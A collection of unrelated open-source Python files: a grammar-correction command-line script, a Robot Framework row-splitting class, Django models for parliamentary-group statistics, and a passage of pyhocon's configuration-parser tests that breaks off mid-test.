<reponame>bda-19fs/bda-chatbot #!/usr/bin/env python3 import click import time as watch from bda_core.use_cases.log.log_info import log_info from bda_core.use_cases.nlp.correct_grammar import correct_grammar_stream @click.command() @click.option( '-g', '--grammar', type=click.STRING, default='res/custom_ch_grammar.txt', help='use grammar file to correct words (default is "res/custom_ch_grammar.txt")' ) def grammar(grammar): start = watch.time() doc = click.get_text_stream('stdin', 'utf-8').readlines() log_info(f'correcting with grammar: {grammar}') for i, line in enumerate(correct_grammar_stream(doc, grammar)): click.get_text_stream('stdout', 'utf-8').write(f'{line}') log_info(f'corrected {i+1} lines') log_info(f'correction completed in {watch.time() - start}s\n') if __name__ == '__main__': grammar()

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src/robotide/lib/robot/writer/rowsplitter.py

veryl-technologies/t24-tests-ide

8

145319

<gh_stars>1-10 # Copyright 2008-2012 Nokia Siemens Networks Oyj # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. import itertools class RowSplitter(object): _comment_mark = '#' _empty_cell_escape = '${EMPTY}' _line_continuation = '...' _setting_table = 'setting' _tc_table = 'test case' _kw_table = 'keyword' def __init__(self, cols=8, split_multiline_doc=True): self._cols = cols self._split_multiline_doc = split_multiline_doc def split(self, row, table_type): if not row: return self._split_empty_row() indent = self._get_indent(row, table_type) if self._split_multiline_doc and self._is_doc_row(row, table_type): return self._split_doc_row(row, indent) return self._split_row(row, indent) def _split_empty_row(self): yield [] def _get_indent(self, row, table_type): indent = len(list(itertools.takewhile(lambda x: x == '', row))) min_indent = 1 if table_type in [self._tc_table, self._kw_table] else 0 return max(indent, min_indent) def _is_doc_row(self, row, table_type): if table_type == self._setting_table: return len(row) > 1 and row[0] == 'Documentation' if table_type in [self._tc_table, self._kw_table]: return len(row) > 2 and row[1] == '[Documentation]' return False def _split_doc_row(self, row, indent): first, rest = self._split_doc(row[indent+1]) yield row[:indent+1] + [first] + row[indent+2:] while rest: current, rest = self._split_doc(rest) current = [self._line_continuation, current] if current else [self._line_continuation] yield self._indent(current, indent) def _split_doc(self, doc): if '\\n' not in doc: return doc, '' if '\\n ' in doc: doc = doc.replace('\\n ', '\\n') return doc.split('\\n', 1) def _split_row(self, row, indent): while row: current, row = self._split(row) yield self._escape_last_empty_cell(current) if row and indent + 1 < self._cols: row = self._indent(row, indent) def _split(self, data): row, rest = data[:self._cols], data[self._cols:] self._in_comment = any(c.startswith(self._comment_mark) for c in row) rest = self._add_line_continuation(rest) return row, rest def _add_line_continuation(self, data): if data: if self._in_comment and not data[0].startswith(self._comment_mark): data[0] = self._comment_mark + data[0] data = [self._line_continuation] + data return data def _escape_last_empty_cell(self, row): if not row[-1].strip(): row[-1] = self._empty_cell_escape return row def _indent(self, row, indent): return [''] * indent + row

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parlaskupine/models.py

VesterDe/parlalize

1

185906

# -*- coding: utf-8 -*- from django.db import models from django.utils.encoding import python_2_unicode_compatible from django.utils.translation import ugettext_lazy as _ from parlaposlanci.models import * from parlaseje.models import * from jsonfield import JSONField from behaviors.models import Timestampable # converting datetime to popolo class PopoloDateTimeField(models.DateTimeField): def get_popolo_value(self, value): return str(datetime.strftime(value, '%Y-%m-%d')) # Create your models here. @python_2_unicode_compatible class Organization(Timestampable, models.Model): """ A group with a common purpose or reason for existence that goes beyond the set of people belonging to it """ name = models.TextField(_('name'), help_text=_('A primary name, e.g. a legally recognized name')) id_parladata = models.IntegerField(_('parladata id'), blank=True, null=True, help_text=_('id parladata')) classification = models.TextField(_('Classification'), blank=True, null=True, help_text=_('Organization calssification.')) acronym = models.CharField(_('acronym'), blank = True, null = True, max_length = 128, help_text=_('Organization acronym')) is_coalition = models.BooleanField(_('coalition'), default=False) def __str__(self): return unicode(self.name) + " " + str(self.id_parladata) def getOrganizationData(self): return { 'id': self.id_parladata, 'name': self.name, 'acronym': self.acronym, 'is_coalition': self.is_coalition, } class PGStatic(Timestampable, models.Model): organization = models.ForeignKey('Organization', help_text=_('Organization foreign key relationship')) created_for = models.DateField(_('date of activity'), blank=True, null=True, help_text=_('date of analize')) headOfPG = models.ForeignKey('parlaposlanci.Person', null = True, related_name='PGStaticH', help_text=_('Head of MP')) viceOfPG = JSONField(blank=True, null=True) numberOfSeats = models.IntegerField(blank = True, null = True, help_text = _('Number of seats in parlament of PG')) allVoters = models.IntegerField(blank=True, null=True, help_text=_('Number of voters')) facebook = models.TextField(blank=True, null=True, default=None, help_text=_('Facebook profile URL')) twitter = models.TextField(blank=True, null=True, default=None, help_text=_('Twitter profile URL')) email = models.TextField(blank=True, null=True, default=None, help_text=_('email profile URL')) class PercentOFAttendedSession(Timestampable, models.Model): #Model for presence of PG on sessions organization = models.ForeignKey('Organization', blank=True, null=True, related_name='childrenPG', help_text=_('PG')) created_for = models.DateField(_('date of activity'), blank=True, null=True, help_text=_('date of analize')) organization_value_sessions = models.FloatField(_('Presence of this PG'), blank=True, null=True, help_text=_('Presence of this PG')) maxPG_sessions = JSONField(blank=True, null=True, help_text=_('PG who has max prfesence of sessions')) average_sessions = models.FloatField(_('average'), blank=True, null=True, help_text=_('Average of PG attended sessions')) maximum_sessions = models.FloatField(_('max'), blank=True, null=True, help_text=_('Max of PG attended sessions')) organization_value_votes = models.FloatField(_('Presence of this PG'), blank=True, null=True, help_text=_('Presence of this PG')) maxPG_votes = JSONField(blank=True, null=True, help_text=_('PG who has max prfesence of sessions')) average_votes = models.FloatField(_('average'), blank=True, null=True, help_text=_('Average of PG attended sessions')) maximum_votes = models.FloatField(_('max'), blank=True, null=True, help_text=_('Max of PG attended sessions')) class MPOfPg(Timestampable, models.Model): organization = models.ForeignKey('Organization', blank=True, null=True, related_name='MPOfPg_', help_text=_('PG')) id_parladata = models.IntegerField(_('parladata id'), blank=True, null=True,help_text=_('id parladata')) MPs = JSONField(blank=True, null=True) created_for = models.DateField(_('date of activity'), blank=True, null=True, help_text=_('date of analize')) class MostMatchingThem(Timestampable, models.Model): organization = models.ForeignKey('Organization', blank=True, null=True, related_name='childrenMMT', help_text=_('PG')) created_for = models.DateField(_('date of analize'), blank=True, null=True, help_text=_('date of analize')) person1 = models.ForeignKey('parlaposlanci.Person', blank=True, null=True, related_name='childrenMMT1', help_text=_('MP1')) votes1 = models.FloatField(_('MatchingThem1'), blank=True, null=True, help_text=_('MatchingThem')) person2 = models.ForeignKey('parlaposlanci.Person', blank=True, null=True, related_name='childrenMMT2', help_text=_('MP2')) votes2 = models.FloatField(_('MatchingThem2'), blank=True, null=True, help_text=_('MatchingThem')) person3 = models.ForeignKey('parlaposlanci.Person', blank=True, null=True, related_name='childrenMMT3', help_text=_('MP3')) votes3 = models.FloatField(_('MatchingThem3'), blank=True, null=True, help_text=_('MatchingThem')) person4 = models.ForeignKey('parlaposlanci.Person', blank=True, null=True, related_name='childrenMMT4', help_text=_('MP4')) votes4 = models.FloatField(_('MatchingThem4'), blank=True, null=True, help_text=_('MatchingThem')) person5 = models.ForeignKey('parlaposlanci.Person', blank=True, null=True, related_name='childrenMMT5', help_text=_('MP5')) votes5 = models.FloatField(_('MatchingThem5'), blank=True, null=True, help_text=_('MatchingThem')) class LessMatchingThem(Timestampable, models.Model): organization = models.ForeignKey('Organization', blank=True, null=True, related_name='childrenLMT', help_text=_('PG')) created_for = models.DateField(_('date of analize'), blank=True, null=True, help_text=_('date of activity')) person1 = models.ForeignKey('parlaposlanci.Person', blank=True, null=True, related_name='childrenLMT1', help_text=_('MP1')) votes1 = models.FloatField(_('MatchingThem1'), blank=True, null=True, help_text=_('MatchingThem')) person2 = models.ForeignKey('parlaposlanci.Person', blank=True, null=True, related_name='childrenLMT2', help_text=_('MP2')) votes2 = models.FloatField(_('MatchingThem2'), blank=True, null=True, help_text=_('MatchingThem')) person3 = models.ForeignKey('parlaposlanci.Person', blank=True, null=True, related_name='childrenLMT3', help_text=_('MP3')) votes3 = models.FloatField(_('MatchingThem3'), blank=True, null=True, help_text=_('MatchingThem')) person4 = models.ForeignKey('parlaposlanci.Person', blank=True, null=True, related_name='childrenLMT4', help_text=_('MP4')) votes4 = models.FloatField(_('MatchingThem4'), blank=True, null=True, help_text=_('MatchingThem')) person5 = models.ForeignKey('parlaposlanci.Person', blank=True, null=True, related_name='childrenLMT5', help_text=_('MP5')) votes5 = models.FloatField(_('MatchingThem5'), blank=True, null=True, help_text=_('MatchingThem')) class DeviationInOrganization(Timestampable, models.Model): organization = models.ForeignKey('Organization', blank=True, null=True, related_name='childrenD', help_text=_('PG')) data = JSONField(blank=True, null=True) created_for = models.DateField(_('date of analize'), blank=True, null=True, help_text=_('date of activity')) class CutVotes(Timestampable, models.Model): created_for = models.DateField(_('date of activity'), blank=True, null=True, help_text=_('date of analize')) organization = models.ForeignKey("Organization") this_for = models.FloatField(default=0.0) this_against = models.FloatField(default=0.0) this_abstain = models.FloatField(default=0.0) this_absent = models.FloatField(default=0.0) coalition_for = models.FloatField(default=0.0) coalition_against = models.FloatField(default=0.0) coalition_abstain = models.FloatField(default=0.0) coalition_absent = models.FloatField(default=0.0) coalition_for_max = models.FloatField(default=0.0) coalition_against_max = models.FloatField(default=0.0) coalition_abstain_max = models.FloatField(default=0.0) coalition_absent_max = models.FloatField(default=0.0) coalition_for_max_org = models.CharField(max_length=500) coalition_against_max_org = models.CharField(max_length=500) coalition_abstain_max_org = models.CharField(max_length=500) coalition_absent_max_org = models.CharField(max_length=500) opposition_for = models.FloatField(default=0.0) opposition_against = models.FloatField(default=0.0) opposition_abstain = models.FloatField(default=0.0) opposition_absent = models.FloatField(default=0.0) opposition_for_max =models.FloatField(default=0.0) opposition_against_max = models.FloatField(default=0.0) opposition_abstain_max = models.FloatField(default=0.0) opposition_absent_max = models.FloatField(default=0.0) opposition_for_max_org = models.CharField(max_length=500) opposition_against_max_org = models.CharField(max_length=500) opposition_abstain_max_org = models.CharField(max_length=500) opposition_absent_max_org = models.CharField(max_length=500) class WorkingBodies(Timestampable, models.Model): created_for = models.DateField(_('date of activity'), blank=True, null=True, help_text=_('date of analize')) organization = models.ForeignKey("Organization") president = models.ForeignKey('parlaposlanci.Person', blank=True, null=True, help_text=_('President')) vice_president = JSONField() members = JSONField() viceMember = JSONField() coal_ratio = models.FloatField() oppo_ratio = models.FloatField() seats = JSONField() sessions = JSONField() class VocabularySize(Timestampable, models.Model): #Card for Vacabularty size of Org organization = models.ForeignKey('Organization', blank=True, null=True, related_name='vocabularySizes', help_text=_('Org')) created_for = models.DateField(_('date of activity'), blank=True, null=True, help_text=_('date of analize')) score = models.FloatField(_('Vacabularty size of this Org'), blank=True, null=True, help_text=_('Vacabularty size of this Org')) maxOrg = models.ForeignKey('Organization', blank=True, null=True, related_name='childrenVacSiz', help_text=_('Organization which has max vacabularty size')) average = models.FloatField(_('average'), blank=True, null=True, help_text=_('Vacabularty size of Org')) maximum = models.FloatField(_('max'), blank=True, null=True, help_text=_('Max of Org vacabularty size ')) class StyleScores(Timestampable, models.Model): #Card for Style Scores of MP organization = models.ForeignKey('Organization', blank=True, null=True, related_name='styleScores', help_text=_('Org')) created_for = models.DateField(_('date of activity'), blank=True, null=True, help_text=_('date of analize')) problematicno = models.FloatField(_('Problematicno style score of this PG'), blank=True, null=True, help_text=_('Problematicno score of this PG')) privzdignjeno = models.FloatField(_('Privzdignjeno style score of this PG'), blank=True, null=True, help_text=_('Privzdignjeno style score of this PG')) preprosto = models.FloatField(_('Preprosto style score of this PG'), blank=True, null=True, help_text=_('Preprosto style score of this PG')) problematicno_average = models.FloatField(_('Problematicno average style score'), blank=True, null=True, help_text=_('Problematicno average style score')) privzdignjeno_average = models.FloatField(_('Privzdignjeno average style score'), blank=True, null=True, help_text=_('Privzdignjeno average style score')) preprosto_average = models.FloatField(_('Preprosto average style score'), blank=True, null=True, help_text=_('Preprosto average style score')) class Tfidf(Timestampable, models.Model): organization = models.ForeignKey('Organization', blank=True, null=True, related_name='tfidf', help_text=_('Org')) created_for = models.DateField(_('date of activity'), blank=True, null=True, help_text=_('date of analize')) is_visible = models.BooleanField(_('is visible'), default=True) data = JSONField(blank=True, null=True) def __str__(self): return unicode(self.organization.name) + " --> " + unicode(self.created_for) class NumberOfQuestions(Timestampable, models.Model): organization = models.ForeignKey('Organization', blank=True, null=True, related_name='numOfQuestions', help_text=_('Org')) created_for = models.DateField(_('date of activity'), blank=True, null=True, help_text=_('date of analize')) score = models.FloatField(blank=True, null=True, help_text=_('MP score')) average = models.FloatField(blank=True, null=True, help_text=_('Average score')) maximum = models.FloatField(blank=True, null=True, help_text=_('Maximum score')) maxOrgs = JSONField(blank=True, null=True) class PresenceThroughTime(Timestampable, models.Model): organization = models.ForeignKey('Organization', blank=True, null=True, related_name='presenceThroughTime', help_text=_('Org')) created_for = models.DateField(_('date of activity'), blank=True, null=True, help_text=_('date of analize')) data = JSONField(blank=True, null=True) class IntraDisunion(Timestampable, models.Model): organization = models.ForeignKey('Organization', blank=True, null=True, related_name='intraDisunion', help_text=_('Org')) vote = models.ForeignKey('parlaseje.Vote', blank=True, null=True, related_name='vote_intradisunion', help_text=_('Vote')) maximum = models.CharField(_('Maximum'), blank = True, null = True, max_length = 128, help_text=_('Maximum of organization disunion.'))

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tests/test_config_parser.py

KevinMFong/pyhocon

424

3457

# -*- encoding: utf-8 -*- import json import os import shutil import tempfile from collections import OrderedDict from datetime import timedelta from pyparsing import ParseBaseException, ParseException, ParseSyntaxException import mock import pytest from pyhocon import (ConfigFactory, ConfigParser, ConfigSubstitutionException, ConfigTree) from pyhocon.exceptions import (ConfigException, ConfigMissingException, ConfigWrongTypeException) try: from dateutil.relativedelta import relativedelta as period except Exception: from datetime import timedelta as period class TestConfigParser(object): def test_parse_simple_value(self): config = ConfigFactory.parse_string( """t = { c = 5 "d" = true e.y = { f: 7 g: "hey dude!" h: hey man i = \"\"\" "first line" "second" line \"\"\" } j = [1, 2, 3] u = 192.168.1.3/32 g = null } """ ) assert config.get_string('t.c') == '5' assert config.get_int('t.c') == 5 assert config.get_float('t.c') == 5.0 assert config.get('t.e.y.f') == 7 assert config.get('t.e.y.g') == 'hey dude!' assert config.get('t.e.y.h') == 'hey man' assert [v.strip() for v in config.get('t.e.y.i').split('\n')] == ['', '"first line"', '"second" line', ''] assert config.get_bool('t.d') is True assert config.get_int('t.e.y.f') == 7 assert config.get('t.j') == [1, 2, 3] assert config.get('t.u') == '192.168.1.3/32' assert config.get_int('t.g') is None assert config.get_float('t.g') is None assert config.get_string('t.g') is None assert config.get_bool('t.g') is None assert config.get_list('t.g') is None assert config.get_config('t.g') is None @pytest.mark.parametrize('forbidden_char', ['+', '`', '^', '?', '!', '@', '*', '&']) def test_fail_parse_forbidden_characters(self, forbidden_char): with pytest.raises(ParseBaseException): ConfigFactory.parse_string('a: hey man{}'.format(forbidden_char)) @pytest.mark.parametrize('forbidden_char', ['$', '"']) def test_fail_parse_forbidden_characters_in_context(self, forbidden_char): with pytest.raises(ParseException): ConfigFactory.parse_string('a: hey man{}'.format(forbidden_char)) @pytest.mark.parametrize('forbidden_char', ['+', '`', '^', '?', '!', '@', '*', '&']) def test_parse_forbidden_characters_quoted(self, forbidden_char): value = "hey man{}".format(forbidden_char) config = ConfigFactory.parse_string('a: "{}"'.format(value)) assert config.get_string("a") == value def test_parse_with_enclosing_brace(self): config = ConfigFactory.parse_string( """ { a: { b: 5 } } """ ) assert config.get_string('a.b') == '5' @pytest.mark.parametrize('data_set', [ ('a: 1 minutes', period(minutes=1)), ('a: 1minutes', period(minutes=1)), ('a: 2 minute', period(minutes=2)), ('a: 3 m', period(minutes=3)), ('a: 3m', period(minutes=3)), ('a: 3 min', '3 min'), ('a: 4 seconds', period(seconds=4)), ('a: 5 second', period(seconds=5)), ('a: 6 s', period(seconds=6)), ('a: 6 sec', '6 sec'), ('a: 7 hours', period(hours=7)), ('a: 8 hour', period(hours=8)), ('a: 9 h', period(hours=9)), ('a: 10 weeks', period(weeks=10)), ('a: 11 week', period(weeks=11)), ('a: 12 w', period(weeks=12)), ('a: 10 days', period(days=10)), ('a: 11 day', period(days=11)), ('a: 12 d', period(days=12)), ('a: 110 microseconds', period(microseconds=110)), ('a: 111 microsecond', period(microseconds=111)), ('a: 112 micros', period(microseconds=112)), ('a: 113 micro', period(microseconds=113)), ('a: 114 us', period(microseconds=114)), ('a: 110 milliseconds', timedelta(milliseconds=110)), ('a: 111 millisecond', timedelta(milliseconds=111)), ('a: 112 millis', timedelta(milliseconds=112)), ('a: 113 milli', timedelta(milliseconds=113)), ('a: 114 ms', timedelta(milliseconds=114)), ('a: 110 nanoseconds', period(microseconds=0)), ('a: 11000 nanoseconds', period(microseconds=11)), ('a: 1110000 nanosecond', period(microseconds=1110)), ('a: 1120000 nanos', period(microseconds=1120)), ('a: 1130000 nano', period(microseconds=1130)), ('a: 1140000 ns', period(microseconds=1140)), ]) def test_parse_string_with_duration(self, data_set): config = ConfigFactory.parse_string(data_set[0]) assert config['a'] == data_set[1] def test_parse_string_with_duration_with_long_unit_name(self): config = ConfigFactory.parse_string( """ a: foo b: 10 weeks c: bar """ ) assert config['b'] == period(weeks=10) def test_parse_with_list_mixed_types_with_durations_and_trailing_comma(self): config = ConfigFactory.parse_string( """ a: foo b: [a, 1, 10 weeks, 5 minutes,] c: bar """ ) assert config['b'] == ['a', 1, period(weeks=10), period(minutes=5)] def test_parse_with_enclosing_square_bracket(self): config = ConfigFactory.parse_string("[1, 2, 3]") assert config == [1, 2, 3] def test_quoted_key_with_dots(self): config = ConfigFactory.parse_string( """ "a.b.c.d": 3 t { "d": { "c": 5 } } k { "b.f.d": 7 } """ ) assert config['"a.b.c.d"'] == 3 assert config['t.d.c'] == 5 assert config['k."b.f.d"'] == 7 def test_dotted_notation_merge(self): config = ConfigFactory.parse_string( """ a { b = foo c = bar } a.c = ${a.b}" "${a.b} a.d = baz """ ) assert config['a.b'] == "foo" assert config['a.c'] == "foo foo" assert config['a.d'] == "baz" def test_comma_to_separate_expr(self): config = ConfigFactory.parse_string( """ a=1, b="abc", c=the man, d=woof, a-b-c-d=test, a b c d=test2, "a b c d e"=test3 """ ) assert config.get('a') == 1 assert config.get('b') == 'abc' assert config.get('c') == 'the man' assert config.get('d') == 'woof' assert config.get('a-b-c-d') == 'test' assert config.get('a b c d') == 'test2' assert config.get('a b c d e') == 'test3' def test_dict_merge(self): config = ConfigFactory.parse_string( """ a { d { g.h.j.u: 5 g { h.d: 4 } g.h.k: f d } h.i.m = 7 h.i { d: 5 } h.i { e:65 } } """) expected_result = { "a": { "d": { "g": { "h": { "j": { "u": 5 }, "d": 4, "k": "f d" } } }, "h": { "i": { "m": 7, "d": 5, "e": 65 } } } } assert expected_result == config def test_parse_with_comments(self): config = ConfigFactory.parse_string( """ // comment 1 # comment 2 { c = test // comment 0 g = 6 test # comment 0 # comment 3 a: { # comment 4 b: test, # comment 5 } # comment 6 t = [1, # comment 7 2, # comment 8 3, # comment 9 ] } # comment 10 // comment 11 // comment 12 """ ) assert config.get('c') == 'test' assert config.get('g') == '6 test' assert config.get('a.b') == 'test' assert config.get_string('a.b') == 'test' assert config.get('t') == [1, 2, 3] def test_missing_config(self): config = ConfigFactory.parse_string( """ a = 5 """ ) # b is not set so show raise an exception with pytest.raises(ConfigMissingException): config.get('b') def test_parse_null(self): config = ConfigFactory.parse_string( """ a = null b = [null] """ ) assert config.get('a') is None assert config.get('b')[0] is None def test_parse_override(self): config = ConfigFactory.parse_string( """ { a: { b: { c = 5 } } a.b { c = 7 d = 8 } } """ ) assert config.get('a.b.c') == 7 assert config.get('a.b.d') == 8 def test_concat_dict(self): config = ConfigFactory.parse_string( """ a: {b: 1} a: {c: 2} b: {c: 3} {d: 4} { c: 5 } """ ) assert config.get('a.b') == 1 assert config.get('a.c') == 2 assert config.get('b.c') == 5 assert config.get('b.d') == 4 def test_concat_string(self): config = ConfigFactory.parse_string( """ a = a b c b = 5 b c = b 7 """ ) assert config.get('a') == 'a b c' assert config.get('b') == '5 b' assert config.get('c') == 'b 7' def test_concat_list(self): config = ConfigFactory.parse_string( """ a = [1, 2] [3, 4] [ 5, 6 ] """ ) assert config.get('a') == [1, 2, 3, 4, 5, 6] assert config.get_list('a') == [1, 2, 3, 4, 5, 6] def test_bad_concat(self): ConfigFactory.parse_string('a = 45\n') with pytest.raises(ConfigWrongTypeException): ConfigFactory.parse_string('a = [4] "4"') with pytest.raises(ConfigWrongTypeException): ConfigFactory.parse_string('a = "4" [5]') with pytest.raises(ConfigWrongTypeException): ConfigFactory.parse_string('a = {b: 5} "4"') def test_string_substitutions(self): config1 = ConfigFactory.parse_string( """ { a: { b: { c = str e = "str " } } d = ${a.b.c} f = ${a.b.e} } """ ) assert config1.get('a.b.c') == 'str' assert config1.get('d') == 'str' assert config1.get('f') == 'str ' config2 = ConfigFactory.parse_string( """ { a: { b: { c = str e = "str " } } d = test ${a.b.c} f = test ${a.b.e} } """ ) assert config2.get('a.b.c') == 'str' assert config2.get('d') == 'test str' assert config2.get('f') == 'test str ' config3 = ConfigFactory.parse_string( u""" { a: { b: { c = str e = "str " } } d = test ${a.b.c} me f = test ${a.b.e} me } """ ) assert config3.get('a.b.c') == 'str' assert config3.get('d') == 'test str me' assert config3.get('f') == 'test str me' def test_string_substitutions_with_no_space(self): config = ConfigFactory.parse_string( """ app.heap_size = 128 app.java_opts = [ -Xms${app.heap_size}m -Xmx${app.heap_size}m ] """ ) assert config.get('app.java_opts') == [ '-Xms128m', '-Xmx128m' ] def test_int_substitutions(self): config1 = ConfigFactory.parse_string( """ { a: { b: { c = 5 } } d = ${a.b.c} } """ ) assert config1.get('a.b.c') == 5 assert config1.get('d') == 5 config2 = ConfigFactory.parse_string( """ { a: { b: { c = 5 } } d = test ${a.b.c} } """ ) assert config2.get('a.b.c') == 5 assert config2.get('d') == 'test 5' config3 = ConfigFactory.parse_string( """ { a: { b: { c = 5 } } d = test ${a.b.c} me } """ ) assert config3.get('a.b.c') == 5 assert config3.get('d') == 'test 5 me' def test_cascade_string_substitutions(self): config = ConfigFactory.parse_string( """ { a: { b: { c = ${e} } } d = test ${a.b.c} me e = 7 } """ ) assert config.get('a.b.c') == 7 assert config.get('d') == 'test 7 me' def test_multiple_substitutions(self): config = ConfigFactory.parse_string( """ a = 5 b=${a}${a} c=${a} ${a} """ ) assert config == { 'a': 5, 'b': '55', 'c': '5 5' } def test_dict_substitutions(self): config = ConfigFactory.parse_string( """ data-center-generic = { cluster-size = 6 } data-center-east = ${data-center-generic} {name = "east"} """ ) assert config.get('data-center-east.cluster-size') == 6 assert config.get('data-center-east.name') == 'east' config2 = ConfigFactory.parse_string( """ data-center-generic = { cluster-size = 6 } data-center-east = {name = "east"} ${data-center-generic} """ ) assert config2.get('data-center-east.cluster-size') == 6 assert config2.get('data-center-east.name') == 'east' config3 = ConfigFactory.parse_string( """ data-center-generic = { cluster-size = 6 } data-center-east = {name = "east"} ${data-center-generic} { cluster-size = 9, opts = "-Xmx4g" } """ ) assert config3.get('data-center-east.cluster-size') == 9 assert config3.get('data-center-east.name') == 'east' assert config3.get('data-center-east.opts') == '-Xmx4g' config4 = ConfigFactory.parse_string( """ data-center-generic = { cluster-size = 6 } data-center-east = {name = "east"} ${data-center-generic} data-center-east-prod = ${data-center-east} {tmpDir=/tmp} """ ) assert config4.get('data-center-east.cluster-size') == 6 assert config4.get('data-center-east.name') == 'east' assert config4.get('data-center-east-prod.cluster-size') == 6 assert config4.get('data-center-east-prod.tmpDir') == '/tmp' config5 = ConfigFactory.parse_string( """ data-center-generic = { cluster-size = 6 } data-center-east = ${data-center-generic} data-center-east = { name = "east" } """ ) assert config5['data-center-east'] == { 'name': 'east', 'cluster-size': 6 } config6 = ConfigFactory.parse_string( """ data-center-generic = { cluster-size = 6 } data-center-east = { name = "east" } data-center-east = ${data-center-generic} """ ) assert config6['data-center-east'] == { 'name': 'east', 'cluster-size': 6 } def test_dos_chars_with_unquoted_string_noeol(self): config = ConfigFactory.parse_string("foo = bar") assert config['foo'] == 'bar' def test_dos_chars_with_quoted_string_noeol(self): config = ConfigFactory.parse_string('foo = "5"') assert config['foo'] == '5' def test_dos_chars_with_triple_quoted_string_noeol(self): config = ConfigFactory.parse_string('foo = """5"""') assert config['foo'] == '5' def test_dos_chars_with_int_noeol(self): config = ConfigFactory.parse_string("foo = 5") assert config['foo'] == 5 def test_dos_chars_with_float_noeol(self): config = ConfigFactory.parse_string("foo = 5.0") assert config['foo'] == 5.0 def test_list_substitutions(self): config = ConfigFactory.parse_string( """ common_modules = [php, python] host_modules = ${common_modules} [java] """ ) assert config.get('host_modules') == ['php', 'python', 'java'] config2 = ConfigFactory.parse_string( """ common_modules = [php, python] host_modules = [java] ${common_modules} """ ) assert config2.get('host_modules') == ['java', 'php', 'python'] config3 = ConfigFactory.parse_string( """ common_modules = [php, python] host_modules = [java] ${common_modules} [perl] """ ) assert config3.get('common_modules') == ['php', 'python'] assert config3.get('host_modules') == ['java', 'php', 'python', 'perl'] config4 = ConfigFactory.parse_string( """ common_modules = [php, python] host_modules = [java] ${common_modules} [perl] full_modules = ${host_modules} [c, go] """ ) assert config4.get('common_modules') == ['php', 'python'] assert config4.get('host_modules') == ['java', 'php', 'python', 'perl'] assert config4.get('full_modules') == ['java', 'php', 'python', 'perl', 'c', 'go'] def test_list_element_substitution(self): config = ConfigFactory.parse_string( """ main_language = php languages = [java, ${main_language}] """ ) assert config.get('languages') == ['java', 'php'] def test_substitution_list_with_append(self): config = ConfigFactory.parse_string( """ application.foo = 128mm application.large-jvm-opts = ["-XX:+UseParNewGC"] [-Xm16g, ${application.foo}] application.large-jvm-opts2 = [-Xm16g, ${application.foo}] ["-XX:+UseParNewGC"] """) assert config["application.large-jvm-opts"] == [ '-XX:+UseParNewGC', '-Xm16g', '128mm' ] assert config["application.large-jvm-opts2"] == [ '-Xm16g', '128mm', '-XX:+UseParNewGC', ] def test_substitution_list_with_append_substitution(self): config = ConfigFactory.parse_string( """ application.foo = 128mm application.default-jvm-opts = ["-XX:+UseParNewGC"] application.large-jvm-opts = ${application.default-jvm-opts} [-Xm16g, ${application.foo}] application.large-jvm-opts2 = [-Xm16g, ${application.foo}] ${application.default-jvm-opts} """) assert config["application.large-jvm-opts"] == [ '-XX:+UseParNewGC', '-Xm16g', '128mm' ] assert config["application.large-jvm-opts2"] == [ '-Xm16g', '128mm', '-XX:+UseParNewGC' ] def test_non_existent_substitution(self): with pytest.raises(ConfigSubstitutionException): ConfigFactory.parse_string( """ common_modules = ${non_existent} """ ) with pytest.raises(ConfigSubstitutionException): ConfigFactory.parse_string( """ common_modules = abc ${non_existent} """ ) with pytest.raises(ConfigSubstitutionException): ConfigFactory.parse_string( """ common_modules = ${non_existent} abc """ ) with pytest.raises(ConfigSubstitutionException): ConfigFactory.parse_string( """ common_modules = abc ${non_existent} def """ ) def test_non_compatible_substitution(self): with pytest.raises(ConfigWrongTypeException): ConfigFactory.parse_string( """ common_modules = [perl] host_modules = 55 ${common_modules} """ ) with pytest.raises(ConfigWrongTypeException): ConfigFactory.parse_string( """ common_modules = [perl] host_modules = ${common_modules} 55 """ ) with pytest.raises(ConfigWrongTypeException): ConfigFactory.parse_string( """ common_modules = [perl] host_modules = aa ${common_modules} bb """ ) with pytest.raises(ConfigWrongTypeException): ConfigFactory.parse_string( """ common_modules = [perl] host_modules = aa ${common_modules} """ ) with pytest.raises(ConfigWrongTypeException): ConfigFactory.parse_string( """ common_modules = [perl] host_modules = ${common_modules} aa """ ) with pytest.raises(ConfigWrongTypeException): ConfigFactory.parse_string( """ common_modules = [perl] host_modules = aa ${common_modules} bb """ ) def test_self_ref_substitution_array(self): config = ConfigFactory.parse_string( """ x = [1,2] x = ${x} [3,4] x = [-1, 0] ${x} [5, 6] x = [-3, -2] ${x} """ ) assert config.get("x") == [-3, -2, -1, 0, 1, 2, 3, 4, 5, 6] def test_self_append_array(self): config = ConfigFactory.parse_string( """ x = [1,2] x += [3,4] """ ) assert config.get("x") == [1, 2, 3, 4] def test_self_append_string(self): ''' Should be equivalent to x = abc x = ${?x} def ''' config = ConfigFactory.parse_string( """ x = abc x += def """ ) assert config.get("x") == "abc def" def test_self_append_non_existent_string(self): ''' Should be equivalent to x = ${?x} def ''' config = ConfigFactory.parse_string( """ x += def """ ) assert config.get("x") == " def" def test_self_append_nonexistent_array(self): config = ConfigFactory.parse_string( """ x += [1,2] """ ) assert config.get("x") == [1, 2] def test_self_append_object(self): config = ConfigFactory.parse_string( """ x = {a: 1} x += {b: 2} """ ) assert config.get("x") == {'a': 1, 'b': 2} def test_self_append_nonexistent_object(self): config = ConfigFactory.parse_string( """ x += {a: 1} """ ) assert config.get("x") == {'a': 1} def test_self_ref_substitution_array_to_dict(self): config = ConfigFactory.parse_string( """ x = [1,2] x = {x: [3,4]} x = {y: [5,6]} x = {z: ${x}} """ ) assert config.get("x.x") == [3, 4] assert config.get("x.y") == [5, 6] assert config.get("x.z") == {'x': [3, 4], 'y': [5, 6]} def test_self_ref_substitiotion_dict_in_array(self): config = ConfigFactory.parse_string( """ x = {x: [3,4]} x = [${x}, 2, 3] """ ) (one, two, three) = config.get("x") assert one == {'x': [3, 4]} assert two == 2 assert three == 3 def test_self_ref_substitution_dict_path(self): config = ConfigFactory.parse_string( """ x = {y: {z: 1}} x = ${x.y} """ ) assert config.get("x.y") == {'z': 1} assert config.get("x.z") == 1 assert set(config.get("x").keys()) == set(['y', 'z']) def test_self_ref_substitution_dict_path_hide(self): config = ConfigFactory.parse_string( """ x = {y: {y: 1}} x = ${x.y} 